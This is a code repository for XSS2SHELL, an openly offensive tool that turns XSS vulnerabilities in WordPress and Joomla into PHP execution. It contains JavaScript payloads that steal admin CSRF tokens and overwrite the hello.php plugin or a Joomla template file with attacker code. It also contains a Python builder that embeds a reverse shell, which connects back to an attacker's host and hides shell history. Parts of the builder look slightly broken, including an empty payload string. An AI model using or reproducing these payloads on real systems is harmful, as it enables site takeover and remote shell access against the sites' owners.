├── README.md
├── joomla.js
├── wordpress.js
└── xss2shell.py
/README.md:
--------------------------------------------------------------------------------
1 | XSS2SHELL v3
2 | =========
3 |
4 | Changelog:
5 | v3 - "Hello Dolly" plugin is now used for backdooring WP; Themes are no longer used.
6 | V2 - Added Joomla support
7 |
8 | Videos:
9 | Exploiting CVE-2014-9031 with XSS2SHELL (V3): http://youtu.be/hRIuaLQfOhs
10 | XSS2SHELL - Video Walkthrough & Introduction (V1): http://youtu.be/-EGUfPgK_lw
11 |
12 | XSS2SHELL is a piece of software which allows you to get instant php code execution on WordPress and Joomla! installations via XSS vulnerabilities. The tool is designed to operate as follows:
13 |
14 | 1. User generates his javascript payload by using the python builder
15 | 2. User uploads the payload and injects it into an existing XSS vuln
16 | 3. Payload is triggerd by a WP/Joomla! admin, and the attacker's php is evaled
17 |
18 | Some notes:
19 | 1. The WordPress payload is always saved to "/wp-content/plugins/hello.php"
20 | 2. The Joomla! payload is always saved to "/administrator/templates/isis/pay.php"
21 |
22 | Feel free to contribute to this repo by reporting bugs or making productive pull requests.
23 |
--------------------------------------------------------------------------------
/joomla.js:
--------------------------------------------------------------------------------
1 | function httpGet(theUrl)
2 | {
3 | var xmlHttp = null;
4 |
5 | xmlHttp = new XMLHttpRequest();
6 | xmlHttp.open( "GET", theUrl, false );
7 | xmlHttp.send( null );
8 | return xmlHttp.responseText;
9 | }
10 |
11 | var page = httpGet("%s/administrator/index.php?option=com_templates&view=template&id=507&file=L3BheS5waHA=");
12 |
13 | function httpPost(theUrl, csrftoken)
14 | {
15 | var xmlHttp = null;
16 |
17 | xmlHttp = new XMLHttpRequest();
18 | xmlHttp.open( "POST", theUrl, false );
19 | xmlHttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
20 | if (csrftoken == "null")
21 | {
22 | xmlHttp.send("type=php&name=pay&address=");
23 | }
24 | else
25 | {
26 | xmlHttp.send("jform[source]=%s&task=template.apply&" + csrftoken + "=1&jform[extension_id]=507&jform[filename]=/pay.php");
27 | }
28 | return xmlHttp.responseText;
29 |
30 | }
31 |
32 | csrftoken = "null";
33 |
34 | httpPost("%s/administrator/index.php?option=com_templates&task=template.createFile&id=507&file=L3BheS5waHA=", csrftoken);
35 |
36 | //ik I fail at regex fuk u
37 | var regExp = /\/administrator\/index.php\?option=com_login&task=logout&([^)]+)\"/;
38 | var matches = regExp.exec(page);
39 | var csrftoken = matches[1].slice(0, 32);
40 |
41 | httpPost("%s/administrator/index.php?option=com_templates&view=template&id=507&file=L3BheS5waHA=", csrftoken);
42 | httpGet("%s/administrator/templates/isis/pay.php");
43 |
--------------------------------------------------------------------------------
/wordpress.js:
--------------------------------------------------------------------------------
1 | function httpGet(theUrl)
2 | {
3 | var xmlHttp = null;
4 |
5 | xmlHttp = new XMLHttpRequest();
6 | xmlHttp.open( "GET", theUrl, false );
7 | xmlHttp.send( null );
8 | return xmlHttp.responseText;
9 | }
10 |
11 | var page = httpGet("%s/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php");
12 |
13 | function httpPost(theUrl, csrftoken)
14 | {
15 | var xmlHttp = null;
16 |
17 | xmlHttp = new XMLHttpRequest();
18 | xmlHttp.open( "POST", theUrl, false );
19 | xmlHttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
20 | xmlHttp.send("_wpnonce=" + csrftoken + "&_wp_http_referer=%s/wp-admin/plugin-editor.php?file=hello.php&plugin=hello.php&newcontent=%s&action=update&file=hello.php&plugin=hello.php&scrollto=0&submit=Update+File");
21 | return xmlHttp.responseText;
22 |
23 | }
24 |
25 | //ik I fail at regex fuk u
26 | var regExp = /name=\"_wpnonce\"\svalue=\"([^)]+)\"/;
27 | var matches = regExp.exec(page);
28 | var csrftoken = matches[1].slice(0, 10);
29 |
30 | httpPost("%s/wp-admin/plugin-editor.php", csrftoken);
31 | httpGet("%s/wp-content/plugins/hello.php");
32 |
--------------------------------------------------------------------------------
/xss2shell.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python2
2 | # -*- coding: utf-8 -*-
3 | #python pty shell provided by infodox
4 | import subprocess, base64, sys, urllib
5 | import argparse
6 |
7 | rshell = """import os
8 | import pty
9 | import socket
10 |
11 | lhost = "%s"
12 | lport = %s
13 |
14 | def main():
15 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
16 | s.connect((lhost, lport))
17 | os.dup2(s.fileno(),0)
18 | os.dup2(s.fileno(),1)
19 | os.dup2(s.fileno(),2)
20 | os.putenv("HISTFILE",'/dev/null')
21 | pty.spawn("/bin/bash")
22 | s.close()
23 |
24 | if __name__ == "__main__":
25 | main()"""
26 |
27 | print """
28 | ▐▄• ▄ .▄▄ · .▄▄ · ▪ ▪ .▄▄ · ▄ .▄▄▄▄ .▄▄▌ ▄▄▌
29 | █▌█▌▪▐█ ▀. ▐█ ▀. ██ ██ ▐█ ▀. ██▪▐█▀▄.▀·██• ██•
30 | ·██· ▄▀▀▀█▄▄▀▀▀█▄ ▐█·▐█· ▄▀▀▀█▄██▀▐█▐▀▀▪▄██▪ ██▪
31 | ▪▐█·█▌▐█▄▪▐█▐█▄▪▐█ ▐█▌▐█▌ ▐█▄▪▐███▌▐▀▐█▄▄▌▐█▌▐▌▐█▌▐▌
32 | •▀▀ ▀▀ ▀▀▀▀ ▀▀▀▀ ▀▀▀▀▀▀ ▀▀▀▀ ▀▀▀ · ▀▀▀ .▀▀▀ .▀▀▀
33 | """
34 |
35 | def preparepayload(payload, cms, targeturi):
36 | payload = urllib.quote_plus(payload)
37 | if cms == 'joomla':
38 | f = open('joomla.js').read()
39 | payload = f % (targeturi, payload, targeturi, targeturi, targeturi)
40 | else:
41 | f = open('wordpress.js').read()
42 | payload = f % (targeturi, targeturi, payload, targeturi, targeturi)
43 | open('out.js', 'w').write(payload)
44 | print('[+] out.js generated!')
45 |
46 | def genpayload(lhost, payload, rshell, cms, targeturi):
47 | rshell = base64.b64encode(rshell % (lhost, lport))
48 | payload = '' % (rshell)
49 | preparepayload(payload, cms, targeturi)
50 |
51 | parser = argparse.ArgumentParser()
52 | parser.add_argument('-l', '--lhost', dest='lhost', help='Host for reverse shell (Ex. 8.8.8.8)', metavar='LHOST')
53 | parser.add_argument('-p', '--lport', dest='lport', help='Port for reverse shell (Ex. 4444)', metavar='LPORT')
54 | parser.add_argument('-u', '--targeturi', dest='targeturi', help='TargetURI (Ex. /wordpress)', metavar='TargetURI', default='')
55 | parser.add_argument('-f', '--file', dest='custom', help='Custom payload (Ex. custom.php)', metavar='CustomPayload')
56 | parser.add_argument('-c', '--cms', dest='cms', help='CMS (Ex. wordpress)', metavar='CMS')
57 |
58 |
59 | try:
60 | args = parser.parse_args()
61 | if args.cms.lower() == 'wordpress':
62 | cms = args.cms.lower()
63 | print('[+] Payload Location: /wp-content/plugins/hello.php')
64 | elif args.cms.lower() == 'joomla':
65 | cms = args.cms.lower()
66 | print('[+] Payload Location: /administrator/templates/isis/pay.php')
67 | if args.custom == None:
68 | print('[+] Using default payload: python pty reverse shell')
69 | lhost = args.lhost
70 | lport = args.lport
71 | genpayload(lhost, lport, rshell, cms, args.targeturi)
72 | else:
73 | print('[+] Using custom payload: %s' % (args.custom))
74 | payload = open(args.custom).read()
75 | preparepayload(payload, cms, args.targeturi)
76 | except:
77 | parser.print_help()
78 |
--------------------------------------------------------------------------------